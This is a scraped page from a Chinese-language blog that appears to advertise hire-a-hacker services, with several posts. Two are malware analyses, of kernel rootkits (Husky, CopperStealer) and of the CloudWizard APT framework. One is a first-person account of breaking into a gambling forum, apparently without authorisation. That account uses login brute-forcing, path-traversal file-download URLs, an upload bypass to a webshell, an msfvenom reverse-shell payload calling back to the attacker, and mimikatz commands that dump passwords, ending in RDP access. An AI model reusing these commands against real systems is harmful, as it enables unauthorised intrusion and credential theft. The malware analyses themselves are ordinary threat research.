Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863287223

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

本文會分析野外發現的兩個rootkit示例：Husky rootkit和Mingloa/CopperStealer rootkit。

驅動入口函數DriverEntry讓我們從二進制的驅動入口函數DriverEntry開始，在Windows內核驅動程序中，它是DriverEntry。

DriverEntry通常包括以下代碼塊：

調用IoCreateDevice和IoCreateSymbolicLink；

初始化主要函數數組，其中包含指向各種處理函數的函數指針；

為DriverUnload例程分配一個指向處理程序函數的函數指針。

以下片段（代碼段1）展示瞭如何用C語言實現簡單Windows內核驅動程序的DriverEntry。

1.png

C語言中DriverEntry實現的一個示例

下一個代碼段(代碼段2)展示了同一個DriverEntry的反彙編過程。

2.png

代碼段2：DriverEntry的反彙編

DriverUnload函數DriverUnload是一個在卸載驅動程序時調用的函數。

此處理程序函數的目的是清除驅動程序在初始化和執行過程中創建的任何資源，例如，刪除在DriverEntry中創建的設備和符號鏈接。

調用ExFreePoolWithTag來取消分配在DriverEntry函數中分配的任何池內存也是一個很好的策略函數。

3.png

代碼段3：C語言中DriverUnload實現的一個示例

Windows內核結構為了充分理解Windows內核驅動程序的反彙編，我們還應該熟悉對像管理器和內核中其他組件使用的一些內核結構。

例如，以下結構是DRIVER_OBECT（代碼段4）。

4.png

代碼段4：分解DRIVER_OBECT結構

當對IRP進行逆向工程時，繪製出驅動程序使用的IRP主要函數是很有用的。例如，通過查看結構偏移（代碼段4）和反彙編（代碼段2），我們可以確定sub_1400014B0是DriverUnload。

我們還可以使用wdm.h/ntddk.h中描述的IRP主要函數代碼值，通過檢查代碼的主要函數，得出sub_140001280（在Snippet 2中）是IRP_MJ_CREATE的函數處理程序的結論，該代碼將從DRIVER_OBECT結構中的MajorFunction（0x70）的偏移量得出0x70的結果。這顯然是0x00*PointerSize（x64體系結構中為8）；因此，正在處理的是IRP_MJ_CREATE。

可以用同樣的方式，確定IRP_J_CLOSE、IRP_J_READ、IRP_MJ_WRITE和IRP_J_DEVICE_CONTROL的函數處理程序是什麼。

5.png

代碼段5：摘自wdm.h，它定義了所有IRP主要函數的常數值

在進行分析時，我們熟悉的其他一些內核結構是IRP和IO_STACK_LOCATION結構。

IRP，也稱為I/O請求包，是一種在創建I/O請求期間，在設備堆棧中的不同驅動程序之間移動，直到請求完成的結構。

當在用戶獲取的設備對象的句柄上從用戶模式調用具有特定IOCTL操作的DeviceIoControl時，會創建IRP。

6.png

代碼段6：IRP結構的分解

此外，IO_STACK_LOCATION表示IRP在設備堆棧中的當前位置（因此IRP結構中的CurrentLocation字段是指向IO_STACK-LOCATION的指針）。

IO_STACK_LOCATION結構包含一個聯合類型的參數字段，該字段指定驅動程序中不同主函數要使用的不同參數。

例如，如果當前操作是IRP_MJ_DEVICE_CONTROL，則將使用DeviceIoControl類型的參數，包括OutputBufferLength、InputBufferLength、IoControlCode和Type3InputBuffer。

7.png

代碼段7：IO_STACK_LOCATION結構的分解

有了我們對Windows內核驅動程序的新理解，以及如何在Windows驅動程序中找到關鍵函數，讓我們看看一些真實的示例。

示例1：Brute Ratel C4(BRC4)攻擊釋放“Husky” Rootkit這項研究來源於Palo Alto Networks Unit 42在一篇關於Brute Ratel C4的博客https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/中提到的與活動相關的示例。不過，他們沒有提供這個示例的技術分析。

示例詳細信息8.png

示例概述該示例是一個內核驅動程序，使用LAP$US組織竊取的NVIDIA證書進行簽名。它使用zerosum0x0（圖1）找到的Heresy's Gate方法https://zerosum0x0.blogspot.com/2020/06/heresys-gate-kernel-zwntdll-scraping.html，這是一種用於從內核模式驅動程序繞過SMEP向用戶模式註入代碼的技術。

微信截图_20230518134625.png

通過zerosum0x0使用Heresy‘s Gate方法對簽名驅動程序進行分解

注入的shellcode使用經典技術，如遍歷InLoadOrderModuleList以查找庫句柄，以及解析API函數（如LoadLibraryA和GetProcAddress），這些函數可用於解析任何其他API。

注入的shellcode分析起來也很長（圖2），看起來與前面提到的Unit 42博客中描述的shellcode非常相似，因為它使用多個推送指令在堆棧上存儲數據。存儲在堆棧中的數據包括：

Brute Ratel C4的Base64編碼配置數據；

Brute Ratel C4有效負載；

可移植可執行文件（PE）64二進製文件，是VMProtect打包的內核驅動程序，稍後加載。

9.png

圖2：摘自shellcode，將許多值推送到堆棧並形成Base64 blob

Brute Ratel C4配置可以使用以下短腳本（代碼段8）進行解密：

10.png

代碼段8：用於解碼和解密從堆棧中提取的Base64 blob的配置的代碼段

解密配置後，我們得到以下輸出：

11.png

代碼段9：解密配置的示例

解密的配置數據（Snippet 9）包括Brute Ratel C4有效負載的一些基本配置，包括C2服務器地址和開始通信的端口，對C2的請求應該是什麼樣子的Base64編碼模板，以及C2上用於各種功能和選項的不同路徑。

12.png

攻擊場景

我們發現x64 rootkit與Brute Ratel C4示例一起安裝在受攻擊的設備上更有趣，因為它被覆蓋相同示例的其他供應商完全忽略了。

Husky Rootkitx64 rootkit，我們稱之為Husky Rootkit，與Brute Ratel有效負載一起被釋放。

內核驅動程序由VMProtect打包，並使用頒發給“SHANGMAO CHEN”的證書進行簽名(圖4)。

13.png

rootkit使用的證書

驅動入口函數DriverEntry由於這個DriverEntry(圖5)函數被打包並混淆了，因此很難從中收集任何信息。它從一系列無條件分支指令(jmp)開始，基本上指向VMProtect解包存根。

14.png

VMProtected DriverEntry顯示了一個無條件分支指令作為它的第一條指令

但是在解包之後，我們發現像GsDriverEntry這樣的函數包含了更多的信息，以及我們可以在分析中使用的重要字符串（圖6）。

15.png

從GsDriverEntry中反彙編一個分支，該分支包含以thpt（HTTP的混合版本）作為其URL協議的URL字符串

C2通信rootkit直接與\\Device\Tcp進行交互以進行通信。因此，在受攻擊的設備上運行的用戶模式工具(如netstat和tcpview)會隱藏連接。

另一種方法是在VM主機上使用Wireshark進入客戶機的共享網絡接口，以監控受攻擊虛擬機的所有通信流量（圖7和圖8）。

16.png

Wireshark網絡捕獲的由rootkit啟動的流量

該惡意軟件與多個域以及每個域的相對路徑進行通信。

17.png

從服務器到URL中的/xccdd路徑的Web請求和響應顯示了響應有效負載

隱寫術引起我們注意的特定HTTP流量是從以下URL下載的一些圖像（JPEG–JFIF標頭）：http://pic.rmb.bdstatic.com//bjh/.jpeg.

JPEG文件(圖9)是一張看起來很無辜的狗的圖片，因此研究人員將這些圖片命名rootkit為“Husky”。

18.png

該圖片含有有效負載

每個JPEG也有一個隱寫有效負載，其形式是在多個0的分隔符之後，將數據連接到偏移量為0x1769的圖片末尾(圖10)。

19.png

jpg文件中帶有狗的圖片末尾和負載的開始之間的分隔符的Hexview

通過查看數據，我們可以看到前32個字節與前一個請求對hxxp://rxeva6w.com:10100/xccdd的十六進制格式的服務器響應相同(代碼段10)。

20.png

代碼段10：有效負載的前32個字節在不同的有效負載中相似

諷刺是，域rxeva6w.com在88次檢測中一次也未被檢測到（圖11）。

21.png

VirusTotal顯示了在rveva6w.com域上的檢測結果

加密HTTP有效負載使用的加密/解密算法是一種稍微修改過的DES算法，密鑰為“j_k*a-vb”。

22.png

將解密密鑰傳遞給DES解密函數

附加功能除了通過HTTP進行通信和隱藏連接外，這個rootkit還能夠加載從不同URL下載的新模塊。

顯然，這個rootkit包含了本文未提及的額外功能。

示例2：Mingloa（CopperStealer）Rootkit2019年，ESET首次發現並命名了Mingloa惡意軟件。該惡意軟件後來也被Proofpoint發現了，也被稱為CopperStealer。

正如Proofpoint研究中所指出的，該惡意軟件具有查找和竊取保存的瀏覽器密碼的能力。除了保存的瀏覽器密碼外，該惡意軟件還使用存儲的cookie從Facebook檢索用戶訪問令牌。

這是CyberArk Endpoint Privilege Manager中包含的一系列憑據和安全令牌保護技術，這可以顯著限制CopperStealer等憑據竊取程序的影響。如果使用這些技術，CopperStealer將無法從受攻擊的設備中抓取數據。

23.png

示例概述

此惡意內核模塊是針對x86和x64體系結構編譯的。

24+1.png

惡意軟件攻擊場景的分解

該驅動程序使用頒發給“大連龍夢網絡技術有限公司”或“大連晨星網絡技術”的證書進行簽名。此證書可能是從受攻擊的設備上竊取的，或者是由員工洩露的。

25.png

頒發給“大連龍夢網絡科技”的證書，用於簽名驅動程序

通過用戶模式安裝讓我們首先看看應該部署驅動程序的用戶模式惡意軟件攻擊例程。

26.png

分解用戶模式組件執行流以安裝驅動程序

通過查看這個片段，我們可以看到InstallDriver函數接收到一個參數，並且首次調用時參數值為0。第二次調用時，參數值為1。

如果我們仔細觀察InstallDriver，會發現它首先嘗試創建一個semaphore，然後檢查Windows版本。如果這些調用中的任何一個失敗，它將退出而不執行任何操作。

27.png

二進製文件中InstallDriver函數開頭的反彙編，它調用CreateSemaphoreWrapper

如果之前的檢查成功，則惡意軟件將繼續，停止並刪除任何具有相同名稱的服務，最後將shouldInstallDriver參數與0進行比較。

28.png

CreateSemphoreWrapper函數的反彙編

如果shouldInstallDriver的值等於0，則函數將返回，不再執行任何指令。否則，它將根據系統架構，繼續安裝嵌入二進製文件中的適當驅動程序。

29.png

對InstallDriver函數的分解，它描述在系統上安裝驅動程序的流程

這部分代碼還包含一個邏輯錯誤，它會阻止加載此驅動程序。

第一次調用InstallDriver(應該只刪除任何現有的驅動程序)也會創建一個信號量。第二個調用也應該安裝驅動程序，但在安裝驅動程序之前會提前退出，因為semaphore已經存在。

這個邏輯錯誤有些神秘，因為惡意軟件通常會針對這些類型的錯誤進行測試。在這種情況下，它要么是在沒有任何測試的情況下匆忙部署的，要么還不打算部署到任何受攻擊的設備上。

驅動入口函數DriverEntry該惡意軟件的內核模式組件是傳統文件系統過濾器驅動程序，與更現代的迷你過濾器驅動程序不同，它可以在不使用回調過濾函數（如操作前回調例程或操作後回調例程）的情況下修改系統行為。

傳統的文件系統過濾器驅動程序可以直接修改文件系統行為，並且在每個I/O操作(如CREATE, READ和WRITE)中都被調用。

通過查看DriverEntry，我們可以看到兩個主要的函數例程被分配了IRP_MJ_READ和IRP_MJ_SET_INFORMATION。此外，它還註冊了兩個回調函數——一個使用CmRegisterCallback，另一個使用IoRegisterFsRegistrationChange。

HireHackking

信息收集

         正准备开干，有人企鹅私聊我让我跟他赚大钱。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

         群发也就算了，都开始私聊了，现在不法分子猖狂到什么地步了，这能惯着它。。。京东卡先放放，打开前台是个博彩论坛。

记一次菠菜论坛的渗透测试经历

        随手一个login，后台出来了，网站是php的，常用口令试了几次，admin存在，密码错误。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           放在云悉上看一下。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           访问一下子域名，很僵硬。

记一次菠菜论坛的渗透测试经历

        再看看端口吧，3306开放，主机是Windows的。

记一次菠菜论坛的渗透测试经历

       收集完毕，框架没扫出来，几乎没啥进展，唯一的突破点就是后台和端口了。

记一次菠菜论坛的渗透测试经历

登录后台

       3306抱着尝试心态爆破试试，不出意外，mysql没出来。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

    top100后台爆破试了一下没出来，希望不大，翻找js，可能会有口令，敏感路径，特殊接口什么，但是真的干干净净，可能我看的不仔细。

没有其他突破点，只能再爆破后台试一下了，拿了个大字典，真的跑了超久，最后总算出来了，铁头娃在世。用的字典是人名缩写、年份、特殊字符给搞出来了。

记一次菠菜论坛的渗透测试经历

坎坷上传

后台论坛文章管理处看见编辑器，瞬间两眼放光。

记一次菠菜论坛的渗透测试经历

      允许单图片、多图片尝试上传。

记一次菠菜论坛的渗透测试经历

         裂开了，白名单限制。

记一次菠菜论坛的渗透测试经历

        各种截断绕过失败。

记一次菠菜论坛的渗透测试经历

          看看是什么编辑器，翻找js文件，得知为wangeditor编辑器。

记一次菠菜论坛的渗透测试经历

        网上搜了一下，这个编辑器好像没什么漏洞，思路已干~

记一次菠菜论坛的渗透测试经历

转折出现

继续翻翻找找，发现订单详情也可下载订单图片。

下载链接：

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20191115/1605370100637841.jpg

记一次菠菜论坛的渗透测试经历

通过下载链接得到了网站绝对路径，猜测wwwroot为网站根目录，难道存在任意文件下载？

构造链接尝试一下：

http://www.xxx.com/download.php?filepath=../../../wwwroot/news.php

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

Nice啊，胡汉三终于要翻身了。

记一次菠菜论坛的渗透测试经历

继续寻找配置文件，一般index.php会引入数据库配置文件。

http://www.xxx.com/download.php?filepath=../../../wwwroot/index.php

记一次菠菜论坛的渗透测试经历

继续构造查看config.php。

http://www.xxx.com/download.php?filepath=../../../wwwroot/config.php

记一次菠菜论坛的渗透测试经历

拿到账号尝试连接，提示没有权限，还是以失败告终，猜测存在防火墙，或者数据库host值设置为仅本地访问。

没办法，继续翻，尝试读取apache配置文件。

http://www.xxx.com/download.php?filepath=../../../../apache/conf/httpd.conf

记一次菠菜论坛的渗透测试经历

王特发！！！html文件可作为php文件执行，赶紧回去尝试上传文件处，修改后缀上传，俩处上传点均上传失败~

继续翻，在会员管理找到一处上传头像处。

记一次菠菜论坛的渗透测试经历

修改文件名称上传，响应并返回上传路径。

记一次菠菜论坛的渗透测试经历

构造链接下载，文件下载已成功，证明存在。

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20201115/1805872100098841.html

记一次菠菜论坛的渗透测试经历

拼接访问，成功解析。

http://www.xxx.com/php/upload/2020xxxx/1805872100098841.html

记一次菠菜论坛的渗透测试经历

激动地心，颤抖的手啊，成功getshell。

记一次菠菜论坛的渗透测试经历

梭哈成功

尝试提权，查看补丁情况，更新了不少，不过总有漏网之鱼。

记一次菠菜论坛的渗透测试经历

使用工具，直接搜索未打补丁，exp怼上，提权成功，拿到管理员权限。

记一次菠菜论坛的渗透测试经历

继续反弹shell，毕竟终端用的不舒服，这里用MSF反弹shell。

1、首先使用msf在本地生成一个木马文件，指定payload；

msfvenom -p  windows/x64/meterpreter_reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f exe -o achess.exe

记一次菠菜论坛的渗透测试经历

2、本地开启python服务器，端口为8000；

python -m http.server 8000

记一次菠菜论坛的渗透测试经历

3、将文件放置在python服务器中，查看已经开启；

记一次菠菜论坛的渗透测试经历

在终端目标机中下载exe文件；

echo  open  服务器ip:8000>exe文件。

记一次菠菜论坛的渗透测试经历

4、使用msf中reverse_tcp开启监听；

handler -p windows/meterpreter_reverse_tcp -H ip -P 4444

记一次菠菜论坛的渗透测试经历

5、执行exe文件，成功收到shell。

记一次菠菜论坛的渗透测试经历

拿到会话不要掉以轻心，MSF中自带mimikatz模块，MSF中的 mimikatz 模块同时支持32位和64位的系统，但是该模块默认加载32位系统，所以如果目标主机是64位系统，直接加载该模块会导致很多功能无法使用。所以64位系统下必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载mimikatz并且查看系统明文，同时也是防止会话断掉。

Ps查看进程，寻找稳定进程进行迁移。

migrate pid号

记一次菠菜论坛的渗透测试经历

将meterpreter进程迁移到408进程：migrate  408

记一次菠菜论坛的渗透测试经历

成功迁移，万事具备，就差密码，同样使用MSF中mimikatz模块抓取密码。

首先加载mimikatz模块：

记一次菠菜论坛的渗透测试经历

这里列出 mimikatz_command模块用法:

meterpreter > mimikatz_command -f a::  输入一个错误的模块，可以列出所有模块

meterpreter > mimikatz_command -f samdump::  可以列出samdump的子命令

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f handle::list  列出应用进程

meterpreter > mimikatz_command -f service::list  列出服务

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

meterpreter > run post/windows/gather/smart_hashdump  获取hash

选择samdump模块，该模块存在俩个功能:

?  mimikatz_command -f  samdump::hashes

?  mimikatz_command -f  samdump::bootkey

记一次菠菜论坛的渗透测试经历

但是这样抓到的是密码的hash值，我想直接看到明文密码，使用sekurlsa模块下的searchPasswords功能,执行以下命令,成功抓取密码。

mimikatz_command  -f sekurlsa::searchPasswords

记一次菠菜论坛的渗透测试经历

最后3389连接成功，打完收工。

记一次菠菜论坛的渗透测试经历

证明有时当一当铁头娃还是不错的。

总结

从云悉，fofa，各类插件，子域名，端口信息收集，爆破后台进入该站点(有个好字典很重要)，找到编辑器上传文件失败，白名单限制，js文件找到该编辑器名称，查询编辑器漏洞无果，找到图片下载处功能点，下载链接暴露网站路径，通过文件下载找到数据库配置文件，连接无权限，找到apache配置文件，发现文件后缀可绕过，另寻其他上传点成功getshell，提权操作后使用MSF中mimikatz模块抓取到登录密码，远程桌面连接成功，至此渗透结束。


转载于原文链接： https://cloud.tencent.com/developer/article/1790943


HireHackking

sl-magic-book-blue-code-1200x600.jpg

今年3月，卡巴斯基實驗室的研究人員在俄烏衝突地區新發現了一個APT活動，該活動涉及使用PowerMagic和CommonMagic植入程序。然而，當時還不清楚是哪個組織發起了這次攻擊。

在尋找與PowerMagic和CommonMagic相似的植入程序時，研究人員發現了來自同一組織發布的更複雜的惡意活動。最有趣的是，受害者廣泛分佈在俄烏衝突地區。目標包括個人，以及外交和研究機構。惡意活動涉及使用我們稱之為CloudWizard的模塊化框架。它的功能包括截圖、麥克風錄音、鍵盤記錄等。

在俄烏衝突地區運營的APT最近急劇增多，比如Gamaredon、CloudAtlas、BlackEnergy等。其中一些APT在過去早已被淘汰，例如ESET在2016年發現的Prikormka（Groundbait活動）。雖然幾年來沒有關於Prikormka或Operation Groundbait的更新，但我們發現了該活動中使用的惡意軟件CommonMagic和CloudWizard之間的多個相似之處。經過進一步調查，我們發現CloudWizard有著豐富而有趣的歷史。

初步調查結果惡意軟件作為一個名為“syncobjsup”的可疑Windows服務運行。該服務是由一個同樣可疑的路徑“C:\ProgramData\Apparition Storage\syncobjsup.dll”的DLL控制的。執行時，我們發現該DLL可以解密與該DLL位於同一目錄中的文件mods.lrc中的數據。用於解密的密碼是RC5，密鑰為88 6A 3F 24 D3 08 A3 85 E6 21 28 45 77 13 D0 38。然而，使用標準RC5實現對文件進行解密只會產生垃圾數據。仔細研究樣本中的RC5實現就會發現它存在漏洞：

1.png

漏洞在內部循環中：它使用變量i而不是j

對這個漏洞實現的搜索顯示，GitHub上的代碼要點很可能是被植入程序的開發人員借用的。在這個要點的評論中，GitHub用戶強調了這個漏洞：

2.png

同樣有趣的是，來自gist的密鑰與syncobjsup.dll庫中使用的密鑰相同。

解密後的文件在我們看來就像一個虛擬文件系統（VFS），包含多個可執行文件及其JSON編碼的配置：

3.png

這個VFS中的每個條目都包含魔術字節(' CiCi ')，條目名稱的ROR6哈希，以及條目大小和內容。

在mods.lrc中，我們發現：

三個dll（導出表名為Main.dll、Crypton.dll和Internet.dll）；

這些DLL的JSON配置。

syncobjsup.dll DLL迭代VFS條目，查找名稱為“Main”(ROR6 hash:0xAA23406F)的條目。此條目包含CloudWizard的Main.dllOrchestrator庫，該庫通過調用其SvcEntry導出進行反射加載和啟動。

4.png

在啟動時，Orchestrator生成一個掛起的WmiPrvSE.exe進程並將自身注入其中。從WmiPrvSE.exe進程中，它對VFS文件進行備份，複製mod。 LRC到mods, lrs。然後解析mod。獲取所有框架模塊dll及其配置。如上所述，配置是帶有字典對象的JSON文件:

5.png

Orchestrator本身包含一個配置，其參數如下：

受害者ID（例如03072020DD）；

框架版本（最新觀測版本為5.0）；

連續兩次檢測信號之間的間隔時間；

啟動模塊後，Orchestrator開始通過發送檢測信號消息與攻擊者通信。每次檢測信號都是一個JSON文件，包含受害者信息和加載模塊列表：

6.png

此JSON字符串使用加密模塊（來自VFS的Crypton.dll）加密，並通過互聯網通信模塊（internet.dll）發送給攻擊者。

作為對檢測信號的響應，Orchestrator接收允許其執行模塊管理的命令：安裝、啟動、停止、刪除模塊或更改其配置。每個命令都包含魔術字節（DE AD BE EF）和一個JSON字符串(e.g. {“Delete”: [“Keylogger”, “Screenshot”]})，後面跟著一個模塊DLL文件。

7.png

加密與通信如上所述，每次安裝CloudWizard框架時都會捆綁兩個模塊（Crypton.dll和Internet.dll）。 Crypton模塊對所有通信進行加密和解密。它使用兩種加密算法：

檢測信號消息和命令使用AES加密（密鑰在JSON配置VFS文件中指定）；

使用AES和RSA的組合對其他數據（例如，模塊執行結果）進行加密。首先，使用生成的偽隨機AES會話密鑰對數據進行加密，然後使用RSA對AES密鑰進行加密。

8.png

互聯網連接模塊將加密數據轉發給惡意軟件操作者。它支持四種不同的通信類型:

雲存儲:OneDrive, Dropbox, Google Drive；

基於Web的C2服務器；

主雲存儲是OneDrive，如果OneDrive無法訪問，則使用Dropbox和Google Drive。該模塊的配置包括雲存儲身份驗證所需的OAuth令牌。

至於web服務器終端，則在模塊無法訪問三個雲存儲中的任何一個時使用。為了與它交互，它向其配置中指定的URL發出GET請求，並在響應中獲取新命令。這些命令可能包括新的雲存儲令牌。

在檢查網絡模塊的字符串時，我們發現了一個包含來自開發人員計算機的目錄名的字符串：D:\Projects\Work_2020\Soft_Version_5\Refactoring。

模塊介紹信息收集是通過輔助DLL模塊完成的，這些模塊具有以下導出函數：

Start：啟動模塊；

Stop：停止模塊；

Whoami：返回帶有模塊信息(e.g. {“Module”:”Keylogger “,”time_mode”:”2″,”Version”:”0.01″})的JSON-object，time_mode的值表示該模塊是否是持久化的；

GetResult：返回模塊執行的結果(例如收集的屏幕截圖，麥克風錄音等)。大多數模塊以ZIP的形式返回結果（存儲在內存中）；

GetSettings：返回模塊配置；

模塊可以在重新啟動後繼續（在本例中，它們保存在mods.lrs VFS文件中）或在內存中執行，直到計算機關閉或操作員刪除模塊。

我們總共發現了9個輔助模塊執行不同的惡意活動，如文件收集、鍵盤記錄、截屏、錄製麥克風和竊取密碼。

我們最感興趣的模塊是從Gmail帳戶中執行電子郵件洩露的模塊。為了竊取，它從瀏覽器數據庫讀取Gmail cookie。然後，它使用獲得的cookie通過向https://mail.google.com/mail/u/

9.png

如果模塊收到這樣的提示，它模擬點擊“我想使用HTML Gmail”按鈕，通過從提示的HTML代碼向URL發出POST請求。

10.png

在獲得對傳統web客戶端的訪問權限後，該模塊會過濾活動日誌、聯繫人列表和所有電子郵件。

同樣有趣的是，這個模塊的代碼部分是從洩露的黑客團隊源代碼中藉來的。

在獲得CloudWizard的Orchestrator（MySQL 複製拓撲管理和可視化工具）及其模塊後，研究人員還未發現框架安裝程序。在搜索舊的分析數據時，我們能夠識別出從2017年到2020年使用的多個安裝程序。當時安裝的植入程序的版本是4.0(如上所述，我們觀察到的最新版本是5.0)。

未覆蓋的安裝程序是用NSIS構建的。啟動時，它會釋放三個文件：

C:\ProgramData\Microsoft\WwanSvc\WinSubSvc.exe；

C:\ProgramData\Microsoft\MF\Depending.GRL(在其他版本的安裝程序中，此文件也位於C:\ProgramData\Microsoft\MF\etwdrv.dll中)；

C: \ ProgramData \ System \ \ etwupd.dfg；

之後，它創建了一個名為“Windows Subsystem Service”的服務，該服務被配置為在每次啟動時運行WinSubSvc.exe二進製文件。

值得注意的是，安裝程序在感染後會顯示一條“Well done!”的消息：

11.png

這可能表明我們發現的安裝程序用於通過對目標計算機的物理訪問來部署CloudWizard，或者安裝程序試圖模擬網絡設置（如窗口標題中所示）配置程序。

舊版（4.0）和新版（5.0）CloudWizard有主要有以下區別：

舊版（4.0）網絡通信和加密模塊包含在主模塊中，而新版（5.0）網絡通信和加密模塊相互獨立；

舊版（4.0）框架源文件編譯目錄：D:\Projects\Work_2020\Soft_Version_4\ service，而新版（5.0）框架源文件編譯目錄是D:\Projects\Work_2020\Soft_Version_5\Refactoring；

舊版（4.0）使用RC5Simple庫中的RC5(硬編碼密鑰:7Ni9VnCs976Y5U4j)進行C2服務器流量加密和解密，而新版（5.0）使用RSA和AES進行C2服務器流量加密和解密(密鑰在配置文件中指定)。

幕後組織對CloudWizard進行細緻研究之後，研究人員決定尋找一些其幕後組織的線索。 CloudWizard讓研究人員想起了在烏克蘭觀察到並公開報導的兩次活動：Groundbait活動和BugDrop活動。 ESET於2016年首次公開了Groundbait活動，並於2008年首次觀察到其植入程序。在調查“Groundbait”活動時，ESET發現了Prikormka惡意軟件，這是第一個被公開有明確攻擊目標的烏克蘭組織開發的惡意軟件。根據ESET的報告，其幕後組織很可能來自烏克蘭。

至於BugDrop活動，這是CyberX在2017年發現的一個活動。該組織聲稱BugDrop活動與Groundbait活動有相似之處。卡巴斯基實驗室的研究人員也發現了類似的證據：

1.Prikormka USB DOCS_STEALER模塊(MD5: 7275A6ED8EE314600A9B93038876F853B957B316)包含PDB路徑D:\My\Projects_All\2015\wallex\iomus1_gz\Release\iomus.pdb；

2.BugDrop USB竊取模塊(MD5: a2c27e73bc5dec88884e9c165e9372c9)包含PDB路徑D:\My\Projects_All\2016\iomus0_gz\Release\usdlg.pdb；

再加上以下證據，CloudWizard框架的幕後組織與Groundbait活動和BugDrop活動幕後組織是一致的：

3.ESET研究人員發現，CloudWizard 4.0版本的加載程序(導出名稱為LCrPsdNew.dll)與Prikormka dll類似。

12.png

4.ESET檢測到CloudWizard 4.0樣本(MD5: 406494bf3cabbd34ff56dcbeec46f5d6, PDB path: D:\Projects\Work_2017\Service\Interactive Service_system\Release\Service.pdb)的加載程序為Win32/Prikormka.CQ。

5.Prikormka惡意軟件的多次感染都導致了CloudWizard框架的感染；

6.CloudWizard的幾個模塊實現類似於Prikormka和BugDrop模塊的相應模塊，不過由C變成了c++，USB竊取模塊通過IOCTL_STORAGE_QUERY_PROPERTY系統調用檢索連接的USB設備的序列號和產品ID。運行失敗的默認回退值為“undef”。

13.png

在BugDrop中檢索USB設備序列號和產品ID（MD5:F8BDE730EA3843441A657A103E90985E）

14.png

在CloudWizard中檢索USB設備序列號和產品ID（MD5:39B01A6A025F672085835BD699762AEC）

15.png

在上面的樣本中，在BugDrop（左）和CloudWizard（右）中分配“undef”字符串

7.用於截圖的模塊使用相同的窗口名稱列表來觸發截圖頻率的增加:“Skype”和“Viber”。 CloudWizard和Prikormka的截屏間隔使用相同的默認值(15分鐘)。

16.png

Prikormka中窗口標題文本的比較(MD5: 16793D6C3F2D56708E5FC68C883805B5)

17.png

在CloudWizard中將“SKYPE”和“VIBER”字符串添加到一組窗口標題中（MD5:26E55D10020FBC75D80589C081782EA2）

8.Prikormka和CloudWizard樣本中的文件列表模塊具有相同的名稱：Tree。它們也對目錄列表使用相同的格式字符串：“\t\t\t\t\t(%2.2u,%2.2u.%2.2u.%2.2u)\n”。

18.png

在Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B525B5870FE61221D9934D）中使用相同格式的字符串作為目錄列表

9.麥克風模塊以相同的方式錄製聲音：首先使用Windows Multimedia API製作WAV錄製，然後使用LAME庫將其轉換為MP3。雖然這種模式在惡意軟件中很常見，但用於指定LAME庫設置的字符串是特定的：8000 Hz和16 Kbps。 Prikormka和CloudWizard模塊都從這些字符串中提取整數，並在LAME庫中使用它們。

10.在Prikormka和CloudWizard模塊中的擴展列表中使用了類似的擴展順序：

19.png

Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B5253B5870FE61221D9934D）中的擴展列表

11.在Prikormka中，上傳至C2服務器的文件名格式為mm.yy_hh.mm.ss.

12.Prikormka和CloudWizard的C2服務器都由位於烏克蘭的託管服務託管。此外，在將文件洩露到Dropbox雲存儲方面，BugDrop和CloudWizard也有相似之處。

13.Prikormka、BugDrop和CloudWizard的受害者位於烏克蘭西部和中部，以及東歐的衝突地區。

CloudWizard和CommonMagic的相似之處如下：

14.在兩個框架中，執行與OneDrive通信的代碼是相同的。研究人員目前還沒有發現這段代碼是任何開源庫的一部分。此代碼使用相同的用戶代理:“Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML，如Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136”。

20.png

CloudWizard的互聯網通信模塊中的相同字符串(左，MD5: 84BDB1DC4B037F9A46C001764C115A32)和CommonMagic(右，MD5: 7C0E5627FD25C40374BC22035D3FADD8)

15.CloudWizard版本4和CommonMagic這兩個框架都使用RC5Simple庫進行加密。用RC5Simple加密的文件以一個7字節的標頭開始，在庫源代碼中設置為' RC5SIMP '。然而，這個值在惡意植入程序中已經發生了變化：CloudWizard中的DUREX43和CommonMagic中的Hwo7X8p。此外，CloudWizard和CommonMagic使用RapidJSON庫解析JSON對象。

16.在CommonMagic中上傳到C2服務器的文件名格式為“mm.dd _hh.mm.ss.ms.dat”(CloudWizard中上傳的文件名格式為“dd.mm.yyyy_hh.mm.ss.ms.dat”)。

17.從CloudWizard和CommonMagic樣本中提取的受害者ID是相似的：它們包含後跟兩個相同字母的日期，例如CloudWizard中的03072020DD, 05082020BB和CommonMagic中的WorkObj20220729FF。

18.CommonMagic和CloudWizard的受害者位於東歐的衝突地區。

21.png

總結卡巴斯基實驗室的研究人員早在2022年就開始了調查，最終發現CloudWizardAPT活動與兩個相關的大型模塊化框架：CommonMagic和CloudWizard。研究表明，CommonMagic和CloudWizard幕後組織發起的攻擊可以追溯到2008年，那一年首次發現了Prikormka樣本。自2017年以來，類似攻擊就銷聲匿跡了。然而，這兩個活動背後的組織並沒有消停，一直開發他們的工具集並攻擊感興趣的目標。

22.png

HireHackking

5月初，eSentire威脅響應小組（TRU）發現了一起進行中的BatLoader活動，該活動利用谷歌搜索廣告來投遞冒充ChatGPT和Midjourney的虛假網頁：

• ChatGPT是一款人工智能聊天機器人，於2022年11月發布，自那以後就大受歡迎。

